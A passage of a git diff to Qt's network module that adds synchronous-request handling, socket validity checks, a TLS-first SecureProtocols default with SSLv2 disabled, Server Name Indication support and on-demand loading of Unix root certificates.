         QObject::connect(outgoingData, SIGNAL(readyRead()), q, SLOT(_q_bufferOutgoingData()));
         QObject::connect(outgoingData, SIGNAL(readChannelFinished()), q, SLOT(_q_bufferOutgoingDataFinished()));
@@ -306,20 +306,22 @@ void QNetworkReplyImplPrivate::setup(QNetworkAccessManager::Operation op, const
     // Internal code that does a HTTP reply for the synchronous Ajax
     // in QtWebKit.
     QVariant synchronousHttpAttribute = req.attribute(
-            static_cast<QNetworkRequest::Attribute>(QNetworkRequest::DownloadBufferAttribute + 1));
-    if (synchronousHttpAttribute.toBool()) {
-        backend->setSynchronous(true);
-        if (outgoingData && outgoingData->isSequential()) {
-            outgoingDataBuffer = new QRingBuffer();
-            QByteArray data;
-            do {
-                data = outgoingData->readAll();
-                if (data.isEmpty())
-                    break;
-                outgoingDataBuffer->append(data);
-            } while (1);
-        }
+            static_cast<QNetworkRequest::Attribute>(QNetworkRequest::SynchronousRequestAttribute));
+    // The synchronous HTTP is a corner case, we will put all upload data in one big QByteArray in the outgoingDataBuffer.
+    // Yes, this is not the most efficient thing to do, but on the other hand synchronous XHR needs to die anyway.
+    if (synchronousHttpAttribute.toBool() && outgoingData) {
+        outgoingDataBuffer = QSharedPointer<QRingBuffer>(new QRingBuffer());
+        qint64 previousDataSize = 0;
+        do {
+            previousDataSize = outgoingDataBuffer->size();
+            outgoingDataBuffer->append(outgoingData->readAll());
+        } while (outgoingDataBuffer->size() != previousDataSize);
     }
+
+    if (backend)
+        backend->setSynchronous(synchronousHttpAttribute.toBool());
+
+
     if (outgoingData && backend && !backend->isSynchronous()) {
         // there is data to be uploaded, e.g. HTTP POST.
 
@@ -349,10 +351,6 @@ void QNetworkReplyImplPrivate::setup(QNetworkAccessManager::Operation op, const
             }
         }
     } else {
-        // No outgoing data (e.g. HTTP GET request)
-        // or no backend
-        // if no backend, _q_startOperation will handle the error of this
-
         // for HTTP, we want to send out the request as fast as possible to the network, without
         // invoking methods in a QueuedConnection
 #ifndef QT_NO_HTTP
@@ -362,7 +360,7 @@ void QNetworkReplyImplPrivate::setup(QNetworkAccessManager::Operation op, const
             QMetaObject::invokeMethod(q, "_q_startOperation", Qt::QueuedConnection);
         }
 #else
-        if (backend->isSynchronous())
+        if (backend && backend->isSynchronous())
             _q_startOperation();
         else
             QMetaObject::invokeMethod(q, "_q_startOperation", Qt::QueuedConnection);
@@ -634,8 +632,9 @@ char* QNetworkReplyImplPrivate::getDownloadBuffer(qint64 size)
 {
     Q_Q(QNetworkReplyImpl);
 
-    // Check attribute() if allocating a buffer of that size can be allowed
     if (!downloadBuffer) {
+        // We are requested to create it
+        // Check attribute() if allocating a buffer of that size can be allowed
         QVariant bufferAllocationPolicy = request.attribute(QNetworkRequest::MaximumDownloadBufferSizeAttribute);
         if (bufferAllocationPolicy.isValid() && bufferAllocationPolicy.toLongLong() >= size) {
             downloadBufferCurrentSize = 0;
@@ -650,6 +649,18 @@ char* QNetworkReplyImplPrivate::getDownloadBuffer(qint64 size)
     return downloadBuffer;
 }
 
+void QNetworkReplyImplPrivate::setDownloadBuffer(QSharedPointer<char> sp, qint64 size)
+{
+    Q_Q(QNetworkReplyImpl);
+
+    downloadBufferPointer = sp;
+    downloadBuffer = downloadBufferPointer.data();
+    downloadBufferCurrentSize = 0;
+    downloadBufferMaximumSize = size;
+    q->setAttribute(QNetworkRequest::DownloadBufferAttribute, qVariantFromValue<QSharedPointer<char> > (downloadBufferPointer));
+}
+
+
 void QNetworkReplyImplPrivate::appendDownstreamDataDownloadBuffer(qint64 bytesReceived, qint64 bytesTotal)
 {
     Q_Q(QNetworkReplyImpl);
@@ -746,6 +757,11 @@ void QNetworkReplyImplPrivate::finished()
 void QNetworkReplyImplPrivate::error(QNetworkReplyImpl::NetworkError code, const QString &errorMessage)
 {
     Q_Q(QNetworkReplyImpl);
+    // Can't set and emit multiple errors.
+    if (errorCode != QNetworkReply::NoError) {
+        qWarning() << "QNetworkReplyImplPrivate::error: Internal problem, this method must only be called once.";
+        return;
+    }
 
     errorCode = code;
     q->setErrorString(errorMessage);
@@ -803,9 +819,6 @@ QNetworkReplyImpl::~QNetworkReplyImpl()
     // save had been properly finished. So if it is still enabled it means we got deleted/aborted.
     if (d->isCachingEnabled())
         d->networkCache()->remove(url());
-
-    if (d->outgoingDataBuffer)
-        delete d->outgoingDataBuffer;
 }
 
 void QNetworkReplyImpl::abort()
diff --git a/src/network/access/qnetworkreplyimpl_p.h b/src/network/access/qnetworkreplyimpl_p.h
index 238bee5..1a9ab7e 100644
--- a/src/network/access/qnetworkreplyimpl_p.h
+++ b/src/network/access/qnetworkreplyimpl_p.h
@@ -164,6 +164,7 @@ public:
     void appendDownstreamData(QIODevice *data);
     void appendDownstreamData(const QByteArray &data);
 
+    void setDownloadBuffer(QSharedPointer<char> sp, qint64 size);
     char* getDownloadBuffer(qint64 size);
     void appendDownstreamDataDownloadBuffer(qint64, qint64);
 
@@ -175,7 +176,7 @@ public:
 
     QNetworkAccessBackend *backend;
     QIODevice *outgoingData;
-    QRingBuffer *outgoingDataBuffer;
+    QSharedPointer<QRingBuffer> outgoingDataBuffer;
     QIODevice *copyDevice;
     QAbstractNetworkCache *networkCache() const;
 
diff --git a/src/network/access/qnetworkrequest.cpp b/src/network/access/qnetworkrequest.cpp
index fc33e8d..a48a26f 100644
--- a/src/network/access/qnetworkrequest.cpp
+++ b/src/network/access/qnetworkrequest.cpp
@@ -226,6 +226,8 @@ QT_BEGIN_NAMESPACE
 
     \omitvalue DownloadBufferAttribute
 
+    \omitvalue SynchronousRequestAttribute
+
     \value User
         Special type. Additional information can be passed in
         QVariants with types ranging from User to UserMax. The default
@@ -529,8 +531,9 @@ QSslConfiguration QNetworkRequest::sslConfiguration() const
 /*!
     Sets this network request's SSL configuration to be \a config. The
     settings that apply are the private key, the local certificate,
-    the SSL protocol (SSLv2, SSLv3, TLSv1 where applicable) and the
-    ciphers that the SSL backend is allowed to use.
+    the SSL protocol (SSLv2, SSLv3, TLSv1 where applicable), the CA
+    certificates and the ciphers that the SSL backend is allowed to
+    use.
 
     By default, no SSL configuration is set, which allows the backends
     to choose freely what configuration is best for them.
diff --git a/src/network/access/qnetworkrequest.h b/src/network/access/qnetworkrequest.h
index 586e6ff..b5ef109 100644
--- a/src/network/access/qnetworkrequest.h
+++ b/src/network/access/qnetworkrequest.h
@@ -84,9 +84,7 @@ public:
         CookieSaveControlAttribute,
         MaximumDownloadBufferSizeAttribute, // internal
         DownloadBufferAttribute, // internal
-
-        // (DownloadBufferAttribute + 1) is reserved internal for QSynchronousHttpNetworkReply
-        // add the enum in 4.8
+        SynchronousRequestAttribute, // internal
 
         User = 1000,
         UserMax = 32767
diff --git a/src/network/bearer/qnetworkconfigmanager.cpp b/src/network/bearer/qnetworkconfigmanager.cpp
index 9927f29..2a46229 100644
--- a/src/network/bearer/qnetworkconfigmanager.cpp
+++ b/src/network/bearer/qnetworkconfigmanager.cpp
@@ -57,16 +57,17 @@ QT_BEGIN_NAMESPACE
     {                                                                   \
         delete this_##NAME.pointer;                                     \
         this_##NAME.pointer = 0;                                        \
-        this_##NAME.destroyed = true;                                   \
     }                                                                   \
     static TYPE *NAME()                                                 \
     {                                                                   \
-        if (!this_##NAME.pointer && !this_##NAME.destroyed) {           \
+        if (!this_##NAME.pointer) {                                     \
             TYPE *x = new TYPE;                                         \
             if (!this_##NAME.pointer.testAndSetOrdered(0, x))           \
                 delete x;                                               \
-            else                                                        \
+            else {                                                      \
                 qAddPostRoutine(NAME##_cleanup);                        \
+                this_##NAME.pointer->updateConfigurations();            \
+            }                                                           \
         }                                                               \
         return this_##NAME.pointer;                                     \
     }
@@ -75,15 +76,7 @@ Q_GLOBAL_STATIC_QAPP_DESTRUCTION(QNetworkConfigurationManagerPrivate, connManage
 
 QNetworkConfigurationManagerPrivate *qNetworkConfigurationManagerPrivate()
 {
-    static bool initialized = false;
-
-    QNetworkConfigurationManagerPrivate *m = connManager();
-    if (!initialized) {
-        initialized = true;
-        m->updateConfigurations();
-    }
-
-    return m;
+    return connManager();
 }
 
 /*!
diff --git a/src/network/bearer/qnetworksession.cpp b/src/network/bearer/qnetworksession.cpp
index 143d9b5..af60a43 100644
--- a/src/network/bearer/qnetworksession.cpp
+++ b/src/network/bearer/qnetworksession.cpp
@@ -250,6 +250,9 @@ QNetworkSession::QNetworkSession(const QNetworkConfiguration &connectionConfig,
             }
         }
     }
+
+    qRegisterMetaType<QNetworkSession::State>();
+    qRegisterMetaType<QNetworkSession::SessionError>();
 }
 
 /*!
@@ -677,7 +680,7 @@ void QNetworkSession::connectNotify(const char *signal)
 
     //check for preferredConfigurationChanged() signal connect notification
     //This is not required on all platforms
-    if (QLatin1String(signal) == SIGNAL(preferredConfigurationChanged(QNetworkConfiguration,bool)))
+    if (qstrcmp(signal, SIGNAL(preferredConfigurationChanged(QNetworkConfiguration,bool))) == 0)
         d->setALREnabled(true);
 }
 
@@ -698,7 +701,7 @@ void QNetworkSession::disconnectNotify(const char *signal)
 
     //check for preferredConfigurationChanged() signal disconnect notification
     //This is not required on all platforms
-    if (QLatin1String(signal) == SIGNAL(preferredConfigurationChanged(QNetworkConfiguration,bool)))
+    if (qstrcmp(signal, SIGNAL(preferredConfigurationChanged(QNetworkConfiguration,bool))) == 0)
         d->setALREnabled(false);
 }
 
diff --git a/src/network/bearer/qnetworksession.h b/src/network/bearer/qnetworksession.h
index a4baec3..688f37e 100644
--- a/src/network/bearer/qnetworksession.h
+++ b/src/network/bearer/qnetworksession.h
@@ -142,6 +142,8 @@ private:
 
 #ifndef QT_MOBILITY_BEARER
 QT_END_NAMESPACE
+Q_DECLARE_METATYPE(QNetworkSession::State)
+Q_DECLARE_METATYPE(QNetworkSession::SessionError)
 #else
 QTM_END_NAMESPACE
 #endif
diff --git a/src/network/socket/qabstractsocket.cpp b/src/network/socket/qabstractsocket.cpp
index ead9897..c7c2e82 100644
--- a/src/network/socket/qabstractsocket.cpp
+++ b/src/network/socket/qabstractsocket.cpp
@@ -2136,7 +2136,7 @@ qint64 QAbstractSocket::readData(char *data, qint64 maxSize)
         qDebug("QAbstractSocket::readData(%p '%c (0x%.2x)', 1) == 1 [char buffer]",
                data, isprint(int(uchar(*data))) ? *data : '?', *data);
 #endif
-        if (d->readBuffer.isEmpty() && d->socketEngine)
+        if (d->readBuffer.isEmpty() && d->socketEngine && d->socketEngine->isValid())
             d->socketEngine->setReadNotificationEnabled(true);
         return 1;
     }
@@ -2148,7 +2148,8 @@ qint64 QAbstractSocket::readData(char *data, qint64 maxSize)
             && d->readBuffer.size() < maxSize
             && d->readBufferMaxSize > 0
             && maxSize < d->readBufferMaxSize
-            && d->socketEngine) {
+            && d->socketEngine
+            && d->socketEngine->isValid()) {
         // Our buffer is empty and a read() was requested for a byte amount that is smaller
         // than the readBufferMaxSize. This means that we should fill our buffer since we want
         // such small reads come from the buffer and not always go to the costly socket engine read()
@@ -2198,6 +2199,10 @@ qint64 QAbstractSocket::readData(char *data, qint64 maxSize)
     if (!d->isBuffered) {
         if (!d->socketEngine)
             return -1;          // no socket engine is probably EOF
+        if (!d->socketEngine->isValid())
+            return -1; // This is for unbuffered TCP when we already had been disconnected
+        if (d->state != QAbstractSocket::ConnectedState)
+            return -1; // This is for unbuffered TCP if we're not connected yet
         qint64 readBytes = d->socketEngine->read(data, maxSize);
         if (readBytes == -2) {
             // -2 from the engine means no bytes available (EAGAIN) so read more later
@@ -2205,6 +2210,8 @@ qint64 QAbstractSocket::readData(char *data, qint64 maxSize)
         } else if (readBytes < 0) {
             d->socketError = d->socketEngine->error();
             setErrorString(d->socketEngine->errorString());
+            d->resetSocketLayer();
+            d->state = QAbstractSocket::UnconnectedState;
         } else if (!d->socketEngine->isReadNotificationEnabled()) {
             // Only do this when there was no error
             d->socketEngine->setReadNotificationEnabled(true);
@@ -2624,7 +2631,7 @@ void QAbstractSocket::setReadBufferSize(qint64 size)
         // ensure that the read notification is enabled if we've now got
         // room in the read buffer
         // but only if we're not inside canReadNotification -- that will take care on its own
-        if (size == 0 || d->readBuffer.size() < size)
+        if ((size == 0 || d->readBuffer.size() < size) && d->state == QAbstractSocket::ConnectedState) // Do not change the notifier unless we are connected.
             d->socketEngine->setReadNotificationEnabled(true);
     }
 }
diff --git a/src/network/socket/qhttpsocketengine.cpp b/src/network/socket/qhttpsocketengine.cpp
index 4e628f3..6a025f2 100644
--- a/src/network/socket/qhttpsocketengine.cpp
+++ b/src/network/socket/qhttpsocketengine.cpp
@@ -743,7 +743,10 @@ void QHttpSocketEngine::emitReadNotification()
 {
     Q_D(QHttpSocketEngine);
     d->readNotificationActivated = true;
-    if (d->readNotificationEnabled && !d->readNotificationPending) {
+    // if there is a connection notification pending we have to emit the readNotification
+    // incase there is connection error. This is only needed for Windows, but it does not
+    // hurt in other cases.
+    if ((d->readNotificationEnabled && !d->readNotificationPending) || d->connectionNotificationPending) {
         d->readNotificationPending = true;
         QMetaObject::invokeMethod(this, "emitPendingReadNotification", Qt::QueuedConnection);
     }
diff --git a/src/network/socket/qnativesocketengine_win.cpp b/src/network/socket/qnativesocketengine_win.cpp
index 76c9158..940569a 100644
--- a/src/network/socket/qnativesocketengine_win.cpp
+++ b/src/network/socket/qnativesocketengine_win.cpp
@@ -337,15 +337,17 @@ bool QNativeSocketEnginePrivate::createNewSocket(QAbstractSocket::SocketType soc
     }
 
 #if !defined(Q_OS_WINCE)
-    // enable new behavior using
-    // SIO_UDP_CONNRESET
-    DWORD dwBytesReturned = 0;
-    int bNewBehavior = 1;
-    if (::WSAIoctl(socket, SIO_UDP_CONNRESET, &bNewBehavior, sizeof(bNewBehavior),
-                   NULL, 0, &dwBytesReturned, NULL, NULL) == SOCKET_ERROR) {
-        // not to worry isBogusUdpReadNotification() should handle this otherwise
-        int err = WSAGetLastError();
-        WS_ERROR_DEBUG(err);
+    if (socketType == QAbstractSocket::UdpSocket) {
+        // enable new behavior using
+        // SIO_UDP_CONNRESET
+        DWORD dwBytesReturned = 0;
+        int bNewBehavior = 1;
+        if (::WSAIoctl(socket, SIO_UDP_CONNRESET, &bNewBehavior, sizeof(bNewBehavior),
+                       NULL, 0, &dwBytesReturned, NULL, NULL) == SOCKET_ERROR) {
+            // not to worry isBogusUdpReadNotification() should handle this otherwise
+            int err = WSAGetLastError();
+            WS_ERROR_DEBUG(err);
+        }
     }
 #endif
 
@@ -639,6 +641,11 @@ bool QNativeSocketEnginePrivate::nativeConnect(const QHostAddress &address, quin
                         socketState = QAbstractSocket::UnconnectedState;
                         break;
                     }
+                    if (value == WSAEADDRNOTAVAIL) {
+                        setError(QAbstractSocket::NetworkError, AddressNotAvailableErrorString);
+                        socketState = QAbstractSocket::UnconnectedState;
+                        break;
+                    }
                 }
                 // fall through
             }
diff --git a/src/network/ssl/qssl.cpp b/src/network/ssl/qssl.cpp
index e9e7d21..5594296 100644
--- a/src/network/ssl/qssl.cpp
+++ b/src/network/ssl/qssl.cpp
@@ -101,12 +101,17 @@ QT_BEGIN_NAMESPACE
 
     Describes the protocol of the cipher.
 
-    \value SslV3 SSLv3 - the default protocol.
+    \value SslV3 SSLv3
     \value SslV2 SSLv2
     \value TlsV1 TLSv1
     \value UnknownProtocol The cipher's protocol cannot be determined.
     \value AnyProtocol The socket understands SSLv2, SSLv3, and TLSv1. This
     value is used by QSslSocket only.
+    \value TlsV1SslV3 On the client side, this will send
+    a TLS 1.0 Client Hello, enabling TLSv1 and SSLv3 connections.
+    On the server side, this will enable both SSLv3 and TLSv1 connections.
+    \value SecureProtocols The default option, using protocols known to be secure;
+    currently behaves like TlsV1SslV3.
 
     Note: most servers using SSL understand both versions (2 and 3),
     but it is recommended to use the latest version only for security
diff --git a/src/network/ssl/qssl.h b/src/network/ssl/qssl.h
index 4c035fd..24dbb09 100644
--- a/src/network/ssl/qssl.h
+++ b/src/network/ssl/qssl.h
@@ -75,8 +75,10 @@ namespace QSsl {
     enum SslProtocol {
         SslV3,
         SslV2,
-        TlsV1,
+        TlsV1, // ### Qt 5: rename to TlsV1_0 or so
         AnyProtocol,
+        TlsV1SslV3,
+        SecureProtocols,
         UnknownProtocol = -1
     };
 }
diff --git a/src/network/ssl/qsslconfiguration.cpp b/src/network/ssl/qsslconfiguration.cpp
index 3592226..150f77e 100644
--- a/src/network/ssl/qsslconfiguration.cpp
+++ b/src/network/ssl/qsslconfiguration.cpp
@@ -213,7 +213,7 @@ bool QSslConfiguration::isNull() const
 */
 QSsl::SslProtocol QSslConfiguration::protocol() const
 {
-    return d ? d->protocol : QSsl::SslV3;
+    return d ? d->protocol : QSsl::SecureProtocols;
 }
 
 /*!
@@ -518,7 +518,7 @@ void QSslConfiguration::setCaCertificates(const QList<QSslCertificate> &certific
 
     \list
       \o no local certificate and no private key
-      \o protocol SSLv3
+      \o protocol SecureProtocols (meaning either TLS 1.0 or SSL 3 will be used)
       \o the system's default CA certificate list
       \o the cipher list equal to the list of the SSL libraries'
          supported SSL ciphers
diff --git a/src/network/ssl/qsslconfiguration_p.h b/src/network/ssl/qsslconfiguration_p.h
index b039e69..a5af51a 100644
--- a/src/network/ssl/qsslconfiguration_p.h
+++ b/src/network/ssl/qsslconfiguration_p.h
@@ -80,7 +80,7 @@ class QSslConfigurationPrivate: public QSharedData
 {
 public:
     QSslConfigurationPrivate()
-        : protocol(QSsl::SslV3),
+        : protocol(QSsl::SecureProtocols),
           peerVerifyMode(QSslSocket::AutoVerifyPeer),
           peerVerifyDepth(0)
     { }
diff --git a/src/network/ssl/qsslsocket.cpp b/src/network/ssl/qsslsocket.cpp
index 4252123..98e2dc5 100644
--- a/src/network/ssl/qsslsocket.cpp
+++ b/src/network/ssl/qsslsocket.cpp
@@ -56,7 +56,7 @@
     QSslSocket establishes a secure, encrypted TCP connection you can
     use for transmitting encrypted data. It can operate in both client
     and server mode, and it supports modern SSL protocols, including
-    SSLv3 and TLSv1. By default, QSslSocket uses SSLv3, but you can
+    SSLv3 and TLSv1. By default, QSslSocket uses TLSv1, but you can
     change the SSL protocol by calling setProtocol() as long as you do
     it before the handshake has started.
 
@@ -143,6 +143,15 @@
     setDefaultCaCertificates().
     \endlist
 
+    \note If available, root certificates on Unix (excluding Mac OS X) will be
+    loaded on demand from the standard certificate directories. If
+    you do not want to load root certificates on demand, you need to call either
+    the static function setDefaultCaCertificates() before the first SSL handshake
+    is made in your application, (e.g. via
+    "QSslSocket::setDefaultCaCertificates(QSslSocket::systemCaCertificates());"),
+    or call setCaCertificates() on your QSslSocket instance prior to the SSL
+    handshake.
+
     For more information about ciphers and certificates, refer to QSslCipher and
     QSslCertificate.
 
@@ -543,7 +552,7 @@ bool QSslSocket::isEncrypted() const
 }
 
 /*!
-    Returns the socket's SSL protocol. By default, \l QSsl::SslV3 is used.
+    Returns the socket's SSL protocol. By default, \l QSsl::SecureProtocols is used.
 
     \sa setProtocol()
 */
@@ -650,6 +659,34 @@ void QSslSocket::setPeerVerifyDepth(int depth)
 }
 
 /*!
+    \since 4.8
+
+    Returns the different hostname for the certificate validation, as set by
+    setPeerVerifyName or by connectToHostEncrypted.
+
+    \sa setPeerVerifyName(), connectToHostEncrypted()
+*/
+QString QSslSocket::peerVerifyName() const
+{
+    Q_D(const QSslSocket);
+    return d->verificationPeerName;
+}
+
+/*!
+    \since 4.8
+
+    Sets a different hostname for the certificate validation instead of the one used for the TCP
+    connection.
+
+    \sa connectToHostEncrypted()
+*/
+void QSslSocket::setPeerVerifyName(const QString &hostName)
+{
+    Q_D(QSslSocket);
+    d->verificationPeerName = hostName;
+}
+
+/*!
     \reimp
 
     Returns the number of decrypted bytes that are immediately available for
@@ -1249,6 +1286,7 @@ void QSslSocket::setCaCertificates(const QList<QSslCertificate> &certificates)
 {
     Q_D(QSslSocket);
     d->configuration.caCertificates = certificates;
+    d->allowRootCertOnDemandLoading = false;
 }
 
 /*!
@@ -1258,6 +1296,9 @@ void QSslSocket::setCaCertificates(const QList<QSslCertificate> &certificates)
   handshake with addCaCertificate(), addCaCertificates(), and
   setCaCertificates().
 
+  \note On Unix, this method may return an empty list if the root
+  certificates are loaded on demand.
+
   \sa addCaCertificate(), addCaCertificates(), setCaCertificates()
 */
 QList<QSslCertificate> QSslSocket::caCertificates() const
@@ -1311,10 +1352,9 @@ void QSslSocket::addDefaultCaCertificates(const QList<QSslCertificate> &certific
 /*!
     Sets the default CA certificate database to \a certificates. The
     default CA certificate database is originally set to your system's
-    default CA certificate database. If no system default database is
-    found, Qt will provide its own default database. You can override
-    the default CA certificate database with your own CA certificate
-    database using this function.
+    default CA certificate database. You can override the default CA
+    certificate database with your own CA certificate database using
+    this function.
 
     Each SSL socket's CA certificate database is initialized to the
     default CA certificate database.
@@ -1336,6 +1376,9 @@ void QSslSocket::setDefaultCaCertificates(const QList<QSslCertificate> &certific
     Each SSL socket's CA certificate database is initialized to the
     default CA certificate database.
 
+    \note On Unix, this method may return an empty list if the root
+    certificates are loaded on demand.
+
     \sa caCertificates()
 */
 QList<QSslCertificate> QSslSocket::defaultCaCertificates()
@@ -1803,6 +1846,7 @@ QSslSocketPrivate::QSslSocketPrivate()
     , connectionEncrypted(false)
     , ignoreAllSslErrors(false)
     , readyReadEmittedPointer(0)
+    , allowRootCertOnDemandLoading(true)
     , plainSocket(0)
 {
     QSslConfigurationPrivate::deepCopyDefaultConfiguration(&configuration);
@@ -1879,6 +1923,7 @@ void QSslSocketPrivate::setDefaultSupportedCiphers(const QList<QSslCipher> &ciph
 */
 QList<QSslCertificate> QSslSocketPrivate::defaultCaCertificates()
 {
+    // ### Qt5: rename everything containing "caCertificates" to "rootCertificates" or similar
     QSslSocketPrivate::ensureInitialized();
     QMutexLocker locker(&globalData()->mutex);
     return globalData()->config->caCertificates;
@@ -1893,6 +1938,9 @@ void QSslSocketPrivate::setDefaultCaCertificates(const QList<QSslCertificate> &c
     QMutexLocker locker(&globalData()->mutex);
     globalData()->config.detach();
     globalData()->config->caCertificates = certs;
+    // when the certificates are set explicitly, we do not want to
+    // load the system certificates on demand
+    s_loadRootCertsOnDemand = false;
 }
 
 /*!
@@ -2192,6 +2240,20 @@ void QSslSocketPrivate::_q_flushReadBuffer()
         transmit();
 }
 
+/*!
+    \internal
+*/
+QList<QByteArray> QSslSocketPrivate::unixRootCertDirectories()
+{
+    return QList<QByteArray>() <<  "/etc/ssl/certs/" // (K)ubuntu, OpenSUSE, Mandriva, MeeGo ...
+                               << "/usr/lib/ssl/certs/" // Gentoo, Mandrake
+                               << "/usr/share/ssl/" // Centos, Redhat, SuSE
+                               << "/usr/local/ssl/" // Normal OpenSSL Tarball
+                               << "/var/ssl/certs/" // AIX
+                               << "/usr/local/ssl/certs/" // Solaris
+                               << "/opt/openssl/certs/"; // HP-UX
+}
+
 QT_END_NAMESPACE
 
 // For private slots
diff --git a/src/network/ssl/qsslsocket.h b/src/network/ssl/qsslsocket.h
index 703a1fb..648fd8c 100644
--- a/src/network/ssl/qsslsocket.h
+++ b/src/network/ssl/qsslsocket.h
@@ -106,6 +106,9 @@ public:
     int peerVerifyDepth() const;
     void setPeerVerifyDepth(int depth);
 
+    QString peerVerifyName() const;
+    void setPeerVerifyName(const QString &hostName);
+
     // From QIODevice
     qint64 bytesAvailable() const;
     qint64 bytesToWrite() const;
diff --git a/src/network/ssl/qsslsocket_openssl.cpp b/src/network/ssl/qsslsocket_openssl.cpp
index 7d21bd3..3d7612a 100644
--- a/src/network/ssl/qsslsocket_openssl.cpp
+++ b/src/network/ssl/qsslsocket_openssl.cpp
@@ -60,6 +60,12 @@
 #include <QtCore/qvarlengtharray.h>
 #include <QLibrary> // for loading the security lib for the CA store
 
+#if OPENSSL_VERSION_NUMBER >= 0x0090806fL && !defined(OPENSSL_NO_TLSEXT)
+// Symbian does not seem to have the symbol for SNI defined
+#ifndef SSL_CTRL_SET_TLSEXT_HOSTNAME
+#define SSL_CTRL_SET_TLSEXT_HOSTNAME 55
+#endif
+#endif
 QT_BEGIN_NAMESPACE
 
 #if defined(Q_OS_MAC)
@@ -80,6 +86,7 @@ QT_BEGIN_NAMESPACE
 
 bool QSslSocketPrivate::s_libraryLoaded = false;
 bool QSslSocketPrivate::s_loadedCiphersAndCerts = false;
+bool QSslSocketPrivate::s_loadRootCertsOnDemand = false;
 
 /* \internal
 
@@ -252,6 +259,8 @@ init_context:
     case QSsl::SslV3:
         ctx = q_SSL_CTX_new(client ? q_SSLv3_client_method() : q_SSLv3_server_method());
         break;
+    case QSsl::SecureProtocols: // SslV2 will be disabled below
+    case QSsl::TlsV1SslV3: // SslV2 will be disabled below
     case QSsl::AnyProtocol:
     default:
         ctx = q_SSL_CTX_new(client ? q_SSLv23_client_method() : q_SSLv23_server_method());
@@ -277,7 +286,11 @@ init_context:
     }
 
     // Enable all bug workarounds.
-    q_SSL_CTX_set_options(ctx, SSL_OP_ALL);
+    if (configuration.protocol == QSsl::TlsV1SslV3 || configuration.protocol == QSsl::SecureProtocols) {
+        q_SSL_CTX_set_options(ctx, SSL_OP_ALL|SSL_OP_NO_SSLv2);
+    } else {
+        q_SSL_CTX_set_options(ctx, SSL_OP_ALL);
+    }
 
     // Initialize ciphers
     QByteArray cipherString;
@@ -317,6 +330,13 @@ init_context:
         q_X509_STORE_add_cert(ctx->cert_store, (X509 *)caCertificate.handle());
     }
 
+    if (s_loadRootCertsOnDemand && allowRootCertOnDemandLoading) {
+        // tell OpenSSL the directories where to look up the root certs on demand
+        QList<QByteArray> unixDirs = unixRootCertDirectories();
+        for (int a = 0; a < unixDirs.count(); ++a)
+            q_SSL_CTX_load_verify_locations(ctx, 0, unixDirs.at(a).constData());
+    }
+
     // Register a custom callback to get all verification errors.
     X509_STORE_set_verify_cb_func(ctx->cert_store, q_X509Callback);
 
@@ -378,6 +398,24 @@ init_context:
         return false;
     }
 
+#if OPENSSL_VERSION_NUMBER >= 0x0090806fL && !defined(OPENSSL_NO_TLSEXT)
+    if ((configuration.protocol == QSsl::TlsV1SslV3 ||
+        configuration.protocol == QSsl::TlsV1 ||
+        configuration.protocol == QSsl::SecureProtocols ||
+        configuration.protocol == QSsl::AnyProtocol) &&
+        client && q_SSLeay() >= 0x00090806fL) {
+        // Set server hostname on TLS extension. RFC4366 section 3.1 requires it in ACE format.
+        QString tlsHostName = verificationPeerName.isEmpty() ? q->peerName() : verificationPeerName;
+        if (tlsHostName.isEmpty())
+            tlsHostName = hostName;
+        QByteArray ace = QUrl::toAce(tlsHostName);
+        if (!ace.isEmpty()) {
+            if (!q_SSL_ctrl(ssl, SSL_CTRL_SET_TLSEXT_HOSTNAME, TLSEXT_NAMETYPE_host_name, ace.constData()))
+                qWarning("could not set SSL_CTRL_SET_TLSEXT_HOSTNAME, Server Name Indication disabled");
+        }
+    }
+#endif
+
     // Clear the session.
     q_SSL_clear(ssl);
     errorList.clear();
@@ -517,8 +555,22 @@ void QSslSocketPrivate::ensureCiphersAndCertsLoaded()
     } else {
         qWarning("could not load crypt32 library"); // should never happen
     }
+#elif defined(Q_OS_UNIX) && !defined(Q_OS_SYMBIAN) && !defined(Q_OS_MAC)
+    // check whether we can enable on-demand root-cert loading (i.e. check whether the sym links are there)
+    QList<QByteArray> dirs = unixRootCertDirectories();
+    QStringList symLinkFilter;
+    symLinkFilter << QLatin1String("[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f].[0-9]");
+    for (int a = 0; a < dirs.count(); ++a) {
+        QDirIterator iterator(QLatin1String(dirs.at(a)), symLinkFilter, QDir::Files);
+        if (iterator.hasNext()) {
+            s_loadRootCertsOnDemand = true;
+            break;
+        }
+    }
 #endif
-    setDefaultCaCertificates(systemCaCertificates());
+    // if on-demand loading was not enabled, load the certs now
+    if (!s_loadRootCertsOnDemand)
+        setDefaultCaCertificates(systemCaCertificates());
 }
 
 /*!
@@ -780,6 +832,7 @@ QList<QSslCertificate> QSslSocketPrivate::systemCaCertificates()
                     systemCerts.append(QSslCertificate::fromData(rawCert, QSsl::Der));
                 }
             }
+            CFRelease(cfCerts);
         }
         else {
            // no detailed error handling here
@@ -813,15 +866,7 @@ QList<QSslCertificate> QSslSocketPrivate::systemCaCertificates()
     }
 #elif defined(Q_OS_UNIX) && !defined(Q_OS_SYMBIAN)
     QSet<QString> certFiles;
-    QList<QByteArray> directories;
-    directories << "/etc/ssl/certs/"; // (K)ubuntu, OpenSUSE, Mandriva, MeeGo ...
-    directories << "/usr/lib/ssl/certs/"; // Gentoo, Mandrake
-    directories << "/usr/share/ssl/"; // Centos, Redhat, SuSE
-    directories << "/usr/local/ssl/"; // Normal OpenSSL Tarball
-    directories << "/var/ssl/certs/"; // AIX
-    directories << "/usr/local/ssl/certs/"; // Solaris
-    directories << "/opt/openssl/certs/"; // HP-UX
-
+    QList<QByteArray> directories = unixRootCertDirectories();
     QDir currentDir;
     QStringList nameFilters;
     nameFilters << QLatin1String("*.pem") << QLatin1String("*.crt");
diff --git a/src/network/ssl/qsslsocket_openssl_p.h b/src/network/ssl/qsslsocket_openssl_p.h
index 5a7963e..ca49fab 100644
--- a/src/network/ssl/qsslsocket_openssl_p.h
+++ b/src/network/ssl/qsslsocket_openssl_p.h
@@ -79,6 +79,10 @@
 #include <openssl/x509_vfy.h>
 #include <openssl/dsa.h>
 #include <openssl/rsa.h>
+#include <openssl/crypto.h>
+#if OPENSSL_VERSION_NUMBER >= 0x0090806fL && !defined(OPENSSL_NO_TLSEXT)
+#include <openssl/tls1.h>
+#endif
 
 #if OPENSSL_VERSION_NUMBER >= 0x10000000L
 typedef _STACK STACK;
diff --git a/src/network/ssl/qsslsocket_openssl_symbols.cpp b/src/network/ssl/qsslsocket_openssl_symbols.cpp
index 38598b6..b1310cc 100644
